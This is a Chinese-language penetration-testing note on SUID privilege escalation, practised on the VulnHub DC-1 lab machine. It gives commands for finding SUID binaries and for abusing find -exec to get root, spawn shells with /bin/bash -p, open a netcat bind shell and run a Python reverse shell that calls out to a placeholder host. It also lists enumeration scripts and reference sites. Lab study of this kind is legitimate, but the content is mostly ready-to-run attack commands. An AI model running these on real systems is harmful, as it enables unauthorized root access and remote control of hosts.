suid提权
suid就是以root权限运行某个程序,类似于windows以管理员运行
本次靶机为vulnhub的dc-1
手工命令探测:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
通过此图可以看出存在suid提权,使用find
1.执行命令
touch 1
find -name 1 -exec whoami \; #查找时需要找到这个文件
或
find . -exec whoami \;
2.反弹会话
find . -exec '/bin/sh' \; #反弹本地
find . -exec netcat -lvp 5555 -e /bin/sh \; #使用nc 但是旧版本没有-e参数
netcat xx.xx.xx.xx 5555
find . -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxxxxx",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;#使用python
nc -lvp 7777
python ,nc语言反弹shell生成在下方链接
以下命令可能存在suid提权,其他命令不存在的原因是后面不能加参数,或者能加参数不能进行命令执行反弹shell
脚本探测 LinEnum,linuxprivchecker(python,注意可能需要一个个传文件,再就是打包成zip时可能目标主机无解压软件)
这两款都是用来测是否有suid等配置的脚本
liEnum:
linuxprivchecker
suid提权:
https://gtfobins.lo
https://pentestlab.blog/2017/suid-executables
反弹shell生成命令:
https://forum.ywhack.com/shell.php
在centos7,kali2022.1系统中,执行whoami都是root
find -name 1 -exec whoami \;
kali
centos
但是进入shell是下面的命令就不能成功执行,返回的shell不是root,提权失败,但是在有的系统中ubuntu中是可以成功提权,不知道为什么
find -name 1 -exec /bin/bash \;
id
或
find -name 1 -exec /bin/sh \;
id
kali
centos
ubuntun
下面的命令可以成功了
find -name 1 -exec /bin/bash -p \;
id
kali
centos
参考文章: